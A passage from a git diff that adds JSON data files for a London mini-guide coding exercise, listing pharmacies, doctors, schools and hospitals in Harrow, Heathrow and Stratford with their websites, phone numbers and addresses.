"E. Ivor Hughes Foundation", + "phone": "020 8427 8070 ", + "address": "1 Hamilton Rd, Harrow, HA1 1SU" + }, + { + "name": "Vaughan Primary School", + "website": "http://www.vaughan.harrow.sch.uk/", + "phone": "020 8427 7222 ", + "address": "The Gardens Vaughan Rd, Harrow, HA1 4EL" + }, + { + "name": "Alpha Preparatory School Ltd", + "website": "http://www.alpha.harrow.sch.uk", + "phone": "020 8427 1471 ", + "address": "21 Hindes Rd, Harrow, HA1 1SH" + }, + { + "name": "Saint Jerome Church of England Bilingual School", + "website": "http://www.stjeromebilingual.org", + "phone": "020 3019 6363 ", + "address": "120 138 Station Rd, Harrow, HA1 2DJ" + }, + { + "name": "Harrow School", + "website": "http://www.harrowschool.org.uk", + "phone": "020 8872 8000 ", + "address": "5 High St, Harrow, HA1 3HP" + }, + { + "name": "Focus School - Harrow Primary Campus", + "phone": "020 8427 3876 ", + "address": "51 Sheepcote Road, HARROW, HA1 2JL" + }, + { + "name": "Harrow High School", + "website": "http://www.hhsweb.org/", + "phone": "020 8861 7300 ", + "address": "Gayton Rd, Harrow, HA1 2JG" + }, + { + "name": "Whitmore High School", + "website": "http://www.whitmore.harrow.sch.uk/", + "phone": "020 8864 7688 ", + "address": "Porlock Avenue, Harrow, HA2 0AD" + }, + { + "name": "The John Lyon School", + "website": "http://www.johnlyon.org", + "phone": "020 8515 9400 ", + "address": "Middle Rd, Harrow, HA2 0HN" + }, + { + "name": "Roxeth Mead School", + "website": "http://roxethmead.com", + "phone": "020 8422 2092 ", + "address": "25 Middle Rd, Harrow, HA2 0HW" + }, + { + "name": "Harrow Primary School", + "website": "http://www.harrowprimary.org.uk", + "phone": "020 3397 7997 ", + "address": "82 Gayton Rd, Harrow, HA1 2LS" + }, + { + "name": "Red Balloon Learner Centre - Northwest London", + "website": "http://www.redballoonlearner.org", + "phone": "020 8864 6433 ", + "address": "13 Kenton Rd, Harrow, HA1 2BW" + }, + { + "name": "University of Westminster School of Media Arts & Design", + "website": "http://www.wmin.ac.uk", + "phone": "020 8357 7333 ", + "address": "Watford Rd, Harrow, HA1 3TP" + }, + { + "name": "Roxeth Primary School", + "website": "http://www.roxethschoolharrow.org/", + "phone": "020 8422 1344 ", + "address": "Brickfields, Harrow, HA2 0JA" + }, + { + "name": "The London Academy of Management & Business Ltd", + "phone": "020 3137 0647 ", + "address": "Healthaid Ltd, Healthaid House, Marlborough Hill, Harrow, HA1 1UD" + } + ], + + "hospitals": [ + { + "name": "Northwick Park Hospital", + "website": "http://www.lnwh.nha.uk", + "phone": "020 8864 3232 ", + "address": "Watford Rd, Harrow, HA1 3UJ" + }, + { + "name": "Sodexho", + "phone": "020 8869 3201 ", + "address": "Watford Rd, Harrow, HA1 3UJ" + }, + { + "name": "Northwick Park Mental Health Centre", + "phone": "0208869 2313 ", + "address": "Watford Road, Harrow, HA1 3UJ" + }, + { + "name": "Trustplus Within St Mark's & Northwick Park Hospitals", + "website": "http://www.trustplus.co.uk", + "phone": "020 8869 3390 ", + "address": "Watford Rd, Harrow, HA1 3UJ" + }, + { + "name": "Westlands Rehabilitation Unit", + "website": "http://www.cygnethealth.co.uk", + "phone": "020 8907 0770 ", + "address": "74 Kenton Rd, Harrow, HA3 8AE" + }, + { + "name": "Urology Department - Northwick Park Hospital", + "phone": "0208869 2478 ", + "address": "Watford Road, Harrow, HA1 3UJ" + }, + { + "name": "The Clementine Churchill Hospital", + "website": "http://www.bmihealthcare.co.uk", + "phone": "020 8872 3872 ", + "address": "Sudbury Hill, Harrow, HA1 3RX" + }, + { + "name": "Spire Bushey Hospital", + "phone": "020 8950 9090 ", + "address": "Heathbourne Road, Bushey, WD23 1RD" + }, + { + "name": "London Liposuction Clinic", + "website": "https://londonliposuction.clinic/", + "phone": "020 3773 3987 ", + "address": "114a High St, Edgware, HA8 7HF" + }, + { + "name": "Colindale Hospital", + "website": "http://www.beh-mht.nhs.uk", + "phone": "020 8952 2381 ", + "address": "61 Colindale Avenue, Colindale, LONDON, NW9 5DF" + }, + { + "name": "Spire Bushey Hospital", + "website": "http://www.spirehealthcare.com/spire-bushey-hospital/", + "phone": "020 3553 3127 ", + "address": "Heathbourne Rd, Bushey, WD23 1RD" + }, + { + "name": "Barnet Primary Care Nhs Trust", + "phone": "0208952 3279 ", + "address": "Burnt Oak Broadway, Edgware Community Hospital, Edgware, HA8 0AD" + }, + { + "name": "Royal National Orthopaedic Hospital", + "website": "http://www.rnoh.nhs.uk", + "phone": "020 3947 0100 ", + "address": "Brockley Hill, Stanmore, HA7 4LP" + }, + { + "name": "The Spinal Research Centre", + "phone": "020 8909 5343 ", + "address": "Brockley Hill, Stanmore, HA7 4LP" + }, + { + "name": "Brent Pct", + "phone": "020 8453 5900 ", + "address": "Monks Park Clinic, Monks Park, Wembley, HA9 6JE" + }, + { + "name": "Optegra Eye Hospital North London", + "website": "http://www.optegra.com/hospitals-and-clinics/optegra-eye-hospital-north-london", + "phone": "020 8205 8003 ", + "address": "Unit 6 Technology Park, Colindeep Lane, London, NW9 6BX" + }, + { + "name": "Central Middlesex Hospital", + "website": "http://www.nhs.uk", + "phone": "020 8453 2453 ", + "address": "Acton Lane, London, NW10 7NS" + }, + { + "name": "999 Medical Centre", + "website": "http://www.999medical.com", + "phone": "020 8455 9939 ", + "address": "999 Finchley Rd, London, NW11 7HB" + }, + { + "name": "BMI Bishops Wood Hospital", + "website": "http://www.bmihealthcare.co.uk/hospitals/bmi-bishops-wood-hospital", + "phone": "01923 835814 ", + "address": "Rickmansworth Rd, Northwood, HA6 2JW" + }, + { + "name": "Richardson Healthcare Ltd", + "website": "https://www.richardsonhealthcare.com?utm_source=yell&utm_medium=referral&utm_campaign=yell", + "phone": "0800 170 1126 ", + "address": "Unit 310 Centennial Park, Centennial Avenue, Borehamwood, WD6 3TJ" + }, + { + "name": "Uns Hospitals Ltd", + "phone": "020 8961 7872 ", + "address": "Central Middlesex, Acton Lane, London, NW10 7NR" + }, + { + "name": "Mount Vernon Hospital", + "website": "http://www.thh.nhs.uk", + "phone": "01923 826111 ", + "address": "Rickmansworth Rd, Northwood, HA6 2RN" + }, + { + "name": "Ealing Hospital Nhs Trust", + "website": "http://www.lnwh.nhs.uk", + "phone": "020 8967 5000 ", + "address": "Ealing Hospital Uxbridge Rd, Southall, UB1 3HW" + }, + { + "name": "Cygnet Health Care", + "website": "http://www.cygnethealth.co.uk", + "phone": "020 8991 6699 ", + "address": "22 Corfton Rd, London, W5 2HT" + }, + { + "name": "Chase Lodge Hospital", + "website": "https://www.chaselodgehospital.com", + "phone": "020 8358 7100 ", + "address": "Chase Lodge Page St, London, NW7 2ED" + } + ], + + "doctors": [ + { + "name": "Medicspot Clinic Harrow Headstone Road", + "website": "https://www.medicspot.co.uk/clinics/england/london/harrow/harrow/harrow-headstone-road-clinic?utm_source=listings&utm_medium=local&utm_campaign=london&utm_content=harrow%20headstone%20road", + "phone": "020 8427 2350 ", + "address": "105 Headstone Rd, Harrow, HA1 1PG" + }, + { + "name": "Medicspot Clinic Harrow On The Hill", + "website": "https://www.medicspot.co.uk/clinics/england/london/harrow/harrow/harrow-on-the-hill-clinic?utm_source=listings&utm_medium=local&utm_campaign=london&utm_content=harrow%20on%20the%20hill", + "phone": "020 3937 9882 ", + "address": "18 College Rd, Harrow, HA1 1BE" + }, + { + "name": "Dr M.L.P Gross", + "website": "http://www.neurologyclinic.org.uk", + "phone": "020 8861 1777 ", + "address": "105 Nibthwaite Rd, Harrow, HA1 1TE" + }, + { + "name": "Savita Medical Centre", + "website": "http://www.savitamedicalcentre.co.uk", + "phone": "020 8427 7172 ", + "address": "48 Harrow View, Harrow, HA1 1RQ" + }, + { + "name": "St Peter's Medical Centre", + "website": "http://www.stpetersmedicalcentre.org.uk", + "phone": "020 8864 4868 ", + "address": "Colbeck Rd West, Harrow, HA1 4BS" + }, + { + "name": "The Pinner Road Surgery", + "website": "http://www.nhs.uk", + "phone": "020 8427 0130 ", + "address": "196 Pinner Rd West, Harrow, HA1 4JS" + }, + { + "name": "The Civic Medical Centre", + "website": "http://www.civicmedicalcentre.co.uk", + "phone": "020 8427 9445 ", + "address": "18-20 Bethecar Rd, Harrow, HA1 1SE" + }, + { + "name": "Pinner View Medical Centre", + "website": "http://www.pinnerviewmedicalcentre.nhs.uk", + "phone": "020 8427 1246 ", + "address": "33 Pinner View, Harrow, HA1 4QG" + }, + { + "name": "Medicspot Clinic Harrow Wealdstone", + "website": "https://www.medicspot.co.uk/clinics/england/london/harrow/harrow/harrow-wealdstone-clinic?utm_source=listings&utm_medium=local&utm_campaign=london&utm_content=harrow%20wealdstone", + "phone": "020 8092 7294 ", + "address": "73 Station Rd, Harrow, HA1 2TY" + }, + { + "name": "Mr M.H Ornstein FRCS", + "website": "https://www.nhs.uk/service-search/find-a-gp/results/ha2%200hx", + "phone": "020 8423 8236 ", + "address": "23 Crown St, Harrow On The Hill, Harrow, HA2 0HX" + }, + { + "name": "The Shaftesbury Medical Centre", + "website": "http://www.shaftesburymedicalcentre.co.uk", + "phone": "020 8423 5500 ", + "address": "39 Shaftesbury Parade, Harrow, HA2 0AH" + }, + { + "name": "G P Direct", + "website": "http://www.gpdirect.co.uk", + "phone": "020 8515 9300 ", + "address": "3-7 Welbeck Rd, Harrow, HA2 0RQ" + }, + { + "name": "Medicspot Clinic Harrow High Street", + "website": "https://www.medicspot.co.uk/clinics/england/london/harrow/harrow/harrow-high-street-clinic?utm_source=listings&utm_medium=local&utm_campaign=london&utm_content=harrow%20high%20street", + "phone": "020 8869 1200 ", + "address": "106 High St, Harrow, HA1 3LP" + }, + { + "name": "Med-Law Psychiatric Services", + "website": "https://www.nhs.uk/service-search/find-a-gp/results/ha1%203jl", + "phone": "0870 600 2800 ", + "address": "Bowden House Clinic London Rd, Harrow, HA1 3JL" + }, + { + "name": "The Ridgeway Surgery", + "website": "http://www.ridgeway-surgery.co.uk", + "phone": "020 8427 2470 ", + "address": "71 Imperial Drive North, Harrow, HA2 7DU" + } + ] +} diff --git a/node-challenge-london-mini-guide/data/Heathrow.json b/node-challenge-london-mini-guide/data/Heathrow.json new file mode 100644 index 00000000..27bece47 --- /dev/null +++ b/node-challenge-london-mini-guide/data/Heathrow.json @@ -0,0 +1,587 @@ +{ + "pharmacies": [ + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8897 6018 ", + "address": "Terminal 2 Satellite Airside Gate B, Hounslow, TW6 1EF" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8897 8709 ", + "address": "Terminal 2 Landside Arrivals, Hounslow, TW6 1EF" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8759 3866 ", + "address": "Terminal 2 Airside Upper, Hounslow, TW6 1EF" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8897 1891 ", + "address": "Unit E3 Airside Terminal Three Depa, Hounslow, TW6 1QG" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8897 1817 ", + "address": "3 Terminal Three Landside Departure, Hounslow, TW6 1QG" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8564 9666 ", + "address": "Unit RU050 Terminal 4 Arrivals, Hounslow, TW6 3XA" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8897 7124 ", + "address": "Unit RU4049 Terminal 4 Departures, Hounslow, TW6 3XA" + }, + { + "name": "Imaan Pharmacy", + "website": "http://www.alliedpharmacies.com/groups-list.html", + "phone": "", + "address": "115-117 Bath Road, HOUNSLOW, TW3 3BT" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8890 3053 ", + "address": "380 Staines Rd, Feltham, TW14 8BT" + }, + { + "name": "Edwards & Taylor Chemist", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/tw14%208bn", + "phone": "020 8890 2236 ", + "address": "491 Staines Rd, Bedfont, Feltham, TW14 8BN" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8283 7737 ", + "address": "SatelliteC Terminal 5 Airside, Hounslow, TW6 2GA" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8283 7885 ", + "address": "Unit 12-13 Terminal 5 Departures, Hounslow, TW6 2GA" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8283 8515 ", + "address": "Unit RU032 Terminal 5 Arrivals, Hounslow, TW6 2RQ" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8321 3475 ", + "address": "Unit 4010 Terminal 5 Airside, Hounslow, TW6 2GA" + }, + { + "name": "Tesco Pharmacy", + "website": "https://www.tesco.com/store-locator/uk/?2538&sc_cmp=ref*yg*stc*pharmacy2538&utm_source=yext_local_directory&utm_campaign=local_pharmacy_england&utm_medium=referral", + "phone": "020 3801 3745 ", + "address": "Dukes Green Avenue, Feltham, TW14 0LH" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8321 3473 ", + "address": "Unit 3044 Terminal 5 Landside, Hounslow, TW6 2RQ" + }, + { + "name": "Boots The Chemist (Level 2)", + "phone": "020 8384 1006 ", + "address": "Wellington Road, Stanwell, HOUNSLOW, TW6 2GA" + }, + { + "name": "Boots The Chemist (Level 3)", + "phone": "020 8384 1006 ", + "address": "Wellington Road, Stanwell, HOUNSLOW, TW6 2GA" + }, + { + "name": "Boots The Chemist (Terminal 5B)", + "website": "http://www.boots.com", + "phone": "020 8384 1006 ", + "address": "Wellington Road, Stanwell, HOUNSLOW, TW6 2GA" + }, + { + "name": "Boots The Chemist (Terminal 5C)", + "website": "http://www.boots.com", + "phone": "020 8284 1006 ", + "address": "Wellington Road, Stanwell, HOUNSLOW, TW6 2GA" + }, + { + "name": "Dunns Chemist", + "website": "http://www.nhs.uk", + "phone": "020 8759 0553 ", + "address": "740 Bath Rd, Cranford, Hounslow, TW5 9TY" + }, + { + "name": "Herman Pharmacy", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/tw2%206ht", + "phone": "01784 247013 ", + "address": "St Davids Health Centre, Hadrian Way, Staines-Upon-Thames, TW19 7HT" + }, + { + "name": "Herman Pharmacy", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/tw19%207qu", + "phone": "01784 252411 ", + "address": "7 Trident House Clare Rd, Stanwell, Staines-Upon-Thames, TW19 7QU" + } + ], + "doctors": [ + { + "name": "Hatton Medical Practice", + "website": "https://www.hattonmedicalpractice.com", + "phone": "020 8890 8311 ", + "address": "186 Hatton Rd, Feltham, TW14 9PY" + }, + { + "name": "Medicspot Clinic Hayes Harlington", + "website": "https://www.medicspot.co.uk/clinics/england/london/hillingdon/hayes/hayes-harlington-clinic?utm_source=listings&utm_medium=local&utm_campaign=london&utm_content=hayes%20harlington", + "phone": "020 8057 8540 ", + "address": "218-220 High St, Harlington, Hayes, UB3 5DS" + }, + { + "name": "Glendale Medical Centre", + "website": "http://www.glendalemedicalcentre.org.uk", + "phone": "020 8897 8288 ", + "address": "155 High St, Harlington, Hayes, UB3 5DA" + }, + { + "name": "Heathrow Medical Centre", + "website": "http://www.heathrowmedicalcentre.co.uk", + "phone": "020 8754 1555 ", + "address": "1 St Peter's Way, Hayes, UB3 5AB" + }, + { + "name": "Dr Oberai & Partners", + "website": "http://www.stdavidsgrouppractice.co.uk", + "phone": "01784 883933 ", + "address": "St. Davids Health Centre, Hadrian Way, Staines-Upon-Thames, TW19 7HT" + }, + { + "name": "Bedfont Practice", + "website": "https://www.nhs.uk/service-search/find-a-gp/results/tw14%208ag", + "phone": "020 8890 2245 ", + "address": "Imperial Rd, Feltham, TW14 8AG" + }, + { + "name": "Dr Ronan Moran", + "website": "http://www.pentelowpractice.org", + "phone": "020 8890 2029 ", + "address": "26 Pentelow Gardens, Bedfont, Feltham, TW14 9EF" + }, + { + "name": "Dr A Sheikh - Ashford Health Centre", + "website": "http://www.greenbrook.nhs.uk", + "phone": "01784 884000 ", + "address": "Ashford Hospital London Rd, Ashford, TW15 3FE" + }, + { + "name": "Private GP", + "website": "http://www.yourgeneralpractitioner.co.uk", + "phone": "07938 095700 ", + "address": "Ashford Hospital London Rd, Ashford, TW15 3AA" + }, + { + "name": "North Hyde Practice", + "website": "https://www.nhs.uk/pages/home.aspx", + "phone": "020 8573 8560 ", + "address": "167-169 North Hyde Road, HAYES, UB3 4NS" + }, + { + "name": "Dr S.K Sen", + "website": "https://www.nhs.uk/service-search/find-a-gp/results/tw13%205ad", + "phone": "020 8890 2208 ", + "address": "12 Hanworth Rd, Feltham, TW13 5AD" + }, + { + "name": "Medicspot Clinic Hayes Station Road", + "website": "https://www.medicspot.co.uk/clinics/england/london/hillingdon/hayes/hayes-station-road-clinic?utm_source=listings&utm_medium=local&utm_campaign=rest%20of%20england&utm_content=hayes%20station%20road", + "phone": "020 3637 8398 ", + "address": "6 Northfield Parade Station Road, Hayes, UB3 4JA" + }, + { + "name": "Queens Park Medical Practice", + "website": "http://www.queensparkmedical.co.uk", + "phone": "020 8630 1505 ", + "address": "3rd Floor Feltham Centre, For Health The Centre, Feltham, TW13 4GU" + }, + { + "name": "Studholme Medical Centre", + "website": "http://www.studholmemc.co.uk", + "phone": "01784 420700 ", + "address": "50 Church Rd, Ashford, TW15 2TU" + }, + { + "name": "Gill Medical Practice", + "website": "http://www.gillmedicalpractice.co.uk", + "phone": "020 8630 1880 ", + "address": "32 Harlington Rd East, Feltham, TW14 0AB" + }, + { + "name": "Hayes Medical Centre", + "website": "http://www.hayesmedicalcentre.co.uk", + "phone": "020 8573 2037 ", + "address": "Medical Centre, 157 Old Station Rd, Hayes, UB3 4NA" + }, + { + "name": "The Practice Feltham", + "website": "http://www.thepracticeplc.com", + "phone": "020 8104 0840 ", + "address": "3rd Floor Feltham Centre, The High St, Feltham, TW13 4GU" + }, + { + "name": "Carlton Surgery", + "website": "http://www.carltonsurgery.co.uk", + "phone": "020 8890 3930 ", + "address": "The Surgery 112 Hounslow Rd, Feltham, TW14 0AX" + }, + { + "name": "Hayes Town Medical Centre", + "website": "http://www.hayestownmedicalcentre.co.uk", + "phone": "01895 486020 ", + "address": "52 Station Rd, Hayes, UB3 4DS" + }, + { + "name": "Dr G Tanvir - North Hyde Practice", + "website": "http://www.northhydepractice.nhs.uk", + "phone": "020 8573 8560 ", + "address": "167 North Hyde Rd, Hayes, UB3 4NS" + }, + { + "name": "Dr R K Singh - Clifford Road Surgery", + "website": "https://www.nhs.uk/service-search/find-a-gp/results/tw4%207lr", + "phone": "020 8577 5304 ", + "address": "65 Clifford Rd, Hounslow, TW4 7LR" + }, + { + "name": "The M W H Practice", + "website": "http://www.mwhpractice.co.uk", + "phone": "020 3006 7425 ", + "address": "1 Vincent Rd, Hounslow, TW4 7LH" + }, + { + "name": "Orchard Medical Practice", + "website": "http://www.theorchardpracticehayes.co.uk", + "phone": "01895 486052 ", + "address": "Hesa Health Centre, 52, Station Rd, Hayes, UB3 4DD" + }, + { + "name": "Hounslow Medical Centre", + "website": "http://www.hounslowmedicalcentre.co.uk", + "phone": "020 8630 1011 ", + "address": "Medical Centre 134 Bath Rd, Hounslow, TW3 3ET" + }, + { + "name": "Dr Saghananthan", + "website": "http://www.manorhousehealthcare.co.uk", + "phone": "020 8630 3747 ", + "address": "Feltham Health Centre, The Centre, High St, Feltham, TW13 4GU" + } + ], + "colleges": [ + { + "name": "Islamia Islamic Centre", + "website": "http://www.facebook.com/islamiaislamiccentre", + "phone": "07875 547871 ", + "address": "2 West End Lane, Harlington, Hayes, UB3 5LT" + }, + { + "name": "Heathrow Primary School", + "website": "http://www.heathrowprimaryschool.co.uk", + "phone": "020 8759 1628 ", + "address": "Harmondsworth Lane, Sipson, West Drayton, UB7 0JQ" + }, + { + "name": "Bedfont Primary School", + "website": "http://www.bedfontprimary.co.uk/", + "phone": "020 8890 4755 ", + "address": "Hatton Rd, Bedfont, Feltham, TW14 9QZ" + }, + { + "name": "William Byrd Primary Academy", + "website": "http://www.williambyrd.school", + "phone": "01895 462394 ", + "address": "Victoria Lane, Harlington, Hayes, UB3 5EW" + }, + { + "name": "Cranford Community College", + "website": "http://www.cranford.hounslow.sch.uk/", + "phone": "020 8897 2001 ", + "address": "High St, Cranford, Hounslow, TW5 9PD" + }, + { + "name": "Harmondsworth Primary School", + "website": "http://www.harmondsworthprimary.org", + "phone": "020 8759 1718 ", + "address": "School Rd, West Drayton, UB7 0AU" + }, + { + "name": "Cranford Primary School", + "website": "http://www.cranfordprimary.com/", + "phone": "020 8759 0305 ", + "address": "Berkeley Avenue, Hounslow, TW4 6LB" + }, + { + "name": "Cherry Lane Primary School", + "website": "http://www.cherrylane.hillingdon.sch.uk/", + "phone": "01895 444480 ", + "address": "Sipson Rd, West Drayton, UB7 9DL" + }, + { + "name": "Town Farm Primary School & Nursery", + "website": "http://www.town-farm.surrey.sch.uk/", + "phone": "01784 254380 ", + "address": "St Mary's Crescent, Stanwell, Staines-Upon-Thames, TW19 7HU" + }, + { + "name": "Fairholme Primary School", + "website": "http://www.fairholme.hounslow.sch.uk/", + "phone": "020 8890 2584 ", + "address": "Peacock Avenue, Bedfont, Feltham, TW14 8ET" + }, + { + "name": "Dr Succar's School of Clinical Iridology & Applied Nutrition", + "phone": "020 8581 0963 ", + "address": "7 Repton Avenue, Hayes, UB3 4AF" + }, + { + "name": "Harlington Community School", + "website": "http://www.harlington.hillingdon.sch.uk", + "phone": "020 8569 1610 ", + "address": "Pinkwell Lane, Hayes, UB3 1PB" + }, + { + "name": "Stanwell Fields Cofe Primary School", + "website": "http://www.stanwellfields.surrey.sch.uk", + "phone": "01784 258082 ", + "address": "Clare Rd, Stanwell, Staines-Upon-Thames, TW19 7DB" + }, + { + "name": "Rivers Academy West London", + "website": "http://www.rivers-aspirations.org/", + "phone": "020 8890 0245 ", + "address": "Tachbrook Rd, Feltham, TW14 9PE" + }, + { + "name": "Pinkwell Primary School", + "website": "http://www.pinkwellschool.org", + "phone": "020 8573 2199 ", + "address": "Pinkwell Lane, Hayes, UB3 1PG" + }, + { + "name": "The Cedars Primary School", + "website": "http://www.cedars.hounslow.sch.uk", + "phone": "020 8230 0015 ", + "address": "High St, Cranford, Hounslow, TW5 9RU" + }, + { + "name": "St. Martin's C of E Primary School", + "website": "http://www.stmartinsprimaryschool.com", + "phone": "01895 462350 ", + "address": "Rowan Rd, West Drayton, UB7 7UF" + }, + { + "name": "Southville Junior School", + "website": "http://www.southvillejnrs.hounslow.sch.uk", + "phone": "020 8890 3731 ", + "address": "Bedfont Lane, Feltham, TW14 9NP" + }, + { + "name": "Southville Primary School", + "website": "http://www.southville.hounslow.sch.uk", + "phone": "020 8890 6745 ", + "address": "Bedfont Lane, Feltham, TW14 9NP" + }, + { + "name": "Beavers Community Primary School", + "website": "http://www.beaversprimaryschool.co.uk", + "phone": "020 8570 9347 ", + "address": "Arundel Rd, Hounslow, TW4 6HR" + }, + { + "name": "West London College of Business & Management Sciences", + "website": "http://www.wlcb.co.uk", + "phone": "020 8538 0224 ", + "address": "Vista Office Centre, 50, Salisbury Rd, Hounslow, TW4 6JQ" + }, + { + "name": "Edward Pauling Primary School", + "website": "http://www.edwardpauling.hounslow.sch.uk", + "phone": "020 8831 0841 ", + "address": "Redford Close, Feltham, TW13 4TQ" + }, + { + "name": "Vista Study Centre", + "phone": "020 8538 0222 ", + "address": "5th floor, Vista Business Centre, 50, Salisbury Rd, Hounslow, TW4 6JQ" + }, + { + "name": "Thomas Knyvett College", + "website": "http://thomasknyvett.org/", + "phone": "01784 243824 ", + "address": "Stanwell Rd, Ashford, TW15 3DU" + }, + { + "name": "Brooklands College", + "website": "http://www.brooklands.ac.uk", + "phone": "01932 797700 ", + "address": "Stanwell Rd, Ashford, TW15 3DU" + } + ], + "hospitals": [ + { + "name": "Journey Of", + "website": "#", + "phone": "07958 564111 ", + "address": "36 Blyth Rd, Hayes, UB3 1AL" + }, + { + "name": "N H S Hounslow C C G", + "phone": "0208538 2400 ", + "address": "Civic Centre, Lampton Road, Hounslow, TW3 4DN" + }, + { + "name": "Ashford & St. Peter's Hospitals NHS Foundation Trust", + "website": "http://www.asph.nhs.uk", + "phone": "01932 872000 ", + "address": "Guildford Rd, Chertsey, KT16 0PZ" + }, + { + "name": "Hillingdon Hospital", + "website": "http://www.thh.nhs.uk", + "phone": "01895 238282 ", + "address": "Pield Heath Rd, Uxbridge, UB8 3NN" + }, + { + "name": "BMI the Princess Margaret Hospital", + "website": "http://www.bmihealthcare.co.uk/hospitals/bmi-the-princess-margaret-hospital", + "phone": "01753 743434 ", + "address": "38-42 Osborne Rd, Windsor, SL4 3SJ" + }, + { + "name": "Ealing Hospital Nhs Trust", + "website": "http://www.lnwh.nhs.uk", + "phone": "020 8967 5000 ", + "address": "Ealing Hospital Uxbridge Rd, Southall, UB1 3HW" + }, + { + "name": "Haematology Hospital", + "phone": "020 8967 5432 ", + "address": "Ealing Hospital, Uxbridge Rd, Southall, UB1 3HW" + }, + { + "name": "Teddington Memorial Hospital", + "website": "http://www.hrch.nhs.uk", + "phone": "020 8714 4000 ", + "address": "Hampton Rd, Teddington, TW11 0JL" + }, + { + "name": "Moorfields Ealing Outreach Within Ealing Hospital", + "phone": "0208967 5648 ", + "address": "Uxbridge Road, Southall, UB1 3HW" + }, + { + "name": "London Interventional Clinic", + "website": "http://www.londoninterventionalclinic.co.uk", + "phone": "020 8185 7273 ", + "address": "20 The Green, Twickenham, TW2 5AB" + }, + { + "name": "West London Mental Health NHS Trust", + "website": "http://www.wlmht.nhs.uk", + "phone": "020 8354 8354 ", + "address": "Uxbridge Rd, Southall, UB1 3EU" + }, + { + "name": "Uxbridge Health Centre", + "phone": "01895 488850 ", + "address": "Chippendale Waye, Uxbridge, UB8 1QJ" + }, + { + "name": "Spire Thames Valley Hospital", + "phone": "01753 665404 ", + "address": "Wexham Street, Slough, SL3 6NH" + }, + { + "name": "Upton Hospital", + "website": "https://www.nhs.uk/", + "phone": "01753 821441 ", + "address": "Albert St, Slough, SL1 2BJ" + }, + { + "name": "Lakeside Mental Health Unit", + "phone": "020 8483 1400 ", + "address": "Twickenham Rd, Isleworth, TW7 6AF" + }, + { + "name": "Wexham Park Hospital", + "website": "http://www.heatherwoodandwexham.nhs.uk", + "phone": "01753 633000 ", + "address": "Wexham St, Wexham, Slough, SL2 4HL" + }, + { + "name": "Cassel Hospital", + "website": "http://www.wlmht.nhs.uk", + "phone": "020 8483 2900 ", + "address": "1 Ham Common, Richmond, TW10 7JF" + }, + { + "name": "Weybridge Hospital & Primary Care Centre", + "website": "http://www.nhs.uk", + "phone": "01932 852931 ", + "address": "22 Church St, Weybridge, KT13 8DY" + }, + { + "name": "King Edward VII Hospital", + "website": "http://www.nhs.uk", + "phone": "01753 860441 ", + "address": "St. Leonards Rd, Windsor, SL4 3DP" + }, + { + "name": "Spire Thames Valley Hospital", + "website": "http://www.spirehealthcare.com", + "phone": "01753 662241 ", + "address": "Wexham St, Slough, SL3 6NH" + }, + { + "name": "Molesey Hospital", + "website": "http://www.nhs.uk", + "phone": "020 8941 4481 ", + "address": "High St, West Molesey, KT8 2LU" + }, + { + "name": "Molesey Community Hospital", + "phone": "0208783 3087 ", + "address": "High Street, West Molesey, KT8 2LU" + }, + { + "name": "Casualty Plus Ltd", + "website": "http://www.casualtyplus.co.uk", + "phone": "0845 6777999 ", + "address": "The West London Hospital, 1010, Great West Rd, Brentford, TW8 9BA" + }, + { + "name": "Cardinal Clinic", + "website": "/customerneeds/sendenquiry/sendtoone/100040393443000020?searchedLocation=Heathrow", + "phone": "0113 887 6558 ", + "address": "Oakley Green Rd, Oakley Green, Windsor, SL4 5UL" + }, + { + "name": "Walton Community Hospital", + "website": "http://www.virgincare.co.uk", + "phone": "01932 414105 ", + "address": "Rodney Rd, Walton-On-Thames, KT12 3LD" + } + ] +} diff --git a/node-challenge-london-mini-guide/data/Stratford.json b/node-challenge-london-mini-guide/data/Stratford.json new file mode 100644 index 00000000..02276b94 --- /dev/null +++ b/node-challenge-london-mini-guide/data/Stratford.json @@ -0,0 +1,505 @@ +{ + "pharmacies": [ + { + "name": "Woodgrange Pharmacy & Travel ClinicSponsored", + "website": "#", + "phone": "020 8555 5660 ", + "address": "We serve Stratford, East London|London,E7" + }, + { + "name": "Osbon Pharmacy", + "website": "http://www.osbonpharmacy.co.uk", + "phone": "020 8555 9188 ", + "address": "54 The Mall, The Stratford Centre, London, E15 1XE" + }, + { + "name": "Boots UK", + "website": "http://www.boots.com", + "phone": "020 8221 2495 ", + "address": "31-34, The Arcarde Lower Ground Floor, London, E20 1EH" + }, + { + "name": "Mayors Chemists", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/e15%201en", + "phone": "020 8519 6710 ", + "address": "127 The Grove, London, E15 1EN" + }, + { + "name": "Salus Pharmacy", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/e20%201as", + "phone": "020 8555 3767 ", + "address": "40 Liberty Bridge Rd, London, E20 1AS" + }, + { + "name": "Juliapharm U.K. Ltd", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/e15%201en", + "phone": "07949 797876 ", + "address": "127 The Grove, London, E15 1EN" + }, + { + "name": "Click Pharmacy", + "website": "http://www.clickpharmacy.co.uk", + "phone": "020 7867 3932 ", + "address": "50 Romford Rd, London, E15 4BZ" + }, + { + "name": "Cartwright's Pharmacy", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/e15%201ja", + "phone": "020 8534 1336 ", + "address": "67 Leytonstone Rd, London, E15 1JA" + }, + { + "name": "www.your-chemist.com", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/e15%202sp", + "phone": "020 3961 4999 